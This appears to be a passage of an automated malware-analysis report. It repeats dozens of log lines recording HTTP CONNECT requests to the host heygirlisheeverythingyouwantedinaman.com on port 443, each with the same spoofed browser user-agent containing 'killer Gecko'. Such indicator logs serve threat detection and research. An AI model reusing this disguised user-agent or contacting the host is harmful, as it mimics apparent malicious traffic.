Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.com
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
